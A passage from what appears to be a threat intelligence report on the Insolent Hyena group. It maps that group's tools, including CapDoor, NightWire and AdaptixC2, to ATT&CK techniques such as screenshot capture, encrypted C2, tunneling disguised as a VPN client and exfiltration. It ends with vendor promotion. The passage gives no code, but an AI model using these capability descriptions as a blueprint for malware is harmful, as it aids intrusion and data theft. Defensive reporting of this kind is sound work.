Uses CapDoor to capture screenshots and transmit them to the C2 server. Uses NightWire to capture screenshots in BMP format. Uses AdaptixC2 and Excalibur to capture screenshots of the compromised system |
|
Video Capture |
Uses NightWire to capture webcam images through an auxiliary component ( |
|
Command and Control |
Application Layer Protocol: Web Protocols |
Uses CapDoor to communicate with its C2 server over HTTP POST requests via the WinINet API. Uses AdaptixC2 to communicate with its C2 server over HTTPS. Uses Excalibur to communicate over HTTP and HTTPS. Uses the Cobalt Strike beacon to communicate with its C2 server over HTTP. Uses NetSupport to communicate over HTTP and HTTPS |
Encrypted Channel: Symmetric Cryptography |
Uses CapDoor to encrypt C2 communications with the Salsa20 stream cipher |
|
Ingress Tool Transfer |
Uses CapDoor to download EXE, DLL, and MSI files into Uses NightWire Stager to download the final NightWire payload over a TCP socket Uses NightWire to download an additional webcam capture component from the C2 server, save it to a temporary directory, and write adversary‑supplied data to arbitrary files. The transmitted data is Base64‑encoded. Uses AnyDesk, presumably, to deliver additional tools to compromised systems |
|
Non-Application Layer Protocol |
Uses NightWire to communicate with its C2 server over a TCP socket Uses NetSupport to communicate over TCP |
|
Protocol Tunneling |
Uses NightWire to establish TCP tunnels to specified destinations. When provided with a WireGuard configuration, creates an encrypted tunnel disguised as a VPN client named |
|
Proxy: Internal Proxy |
Uses NightWire to start a SOCKS5 proxy |
|
Remote Access Tools: Remote Desktop Software |
Uses NetSupport and AnyDesk to remotely access compromised systems |
|
Exfiltration |
Exfiltration Over C2 Channel |
Uses NightWire to transmit collected data to its C2 server. Uses AdaptixC2 to upload files to its C2 server. Uses NetSupport to transfer data to its C2 server |
Exfiltration Over Web Service |
Uses Excalibur to exfiltrate stolen data via file‑sharing services |
Defending against Insolent Hyena and similar threat actors demands timely detection and containment of attempted intrusions. To achieve this, organizations should deploy endpoint detection and response solutions, such as BI.ZONE EDR. They help identify attacks before damage occurs and enable a rapid response, whether automated or manual.
Building an effective cybersecurity strategy requires an understanding of tools exploited by threat actors in the wild. BI.ZONE Threat Intelligence can greatly simplify this task. The portal provides detailed intelligence on current threats, clusters, their tactics, techniques, tools, and exploited vulnerabilities. This intelligence helps organizations stay proactive and accelerate incident response.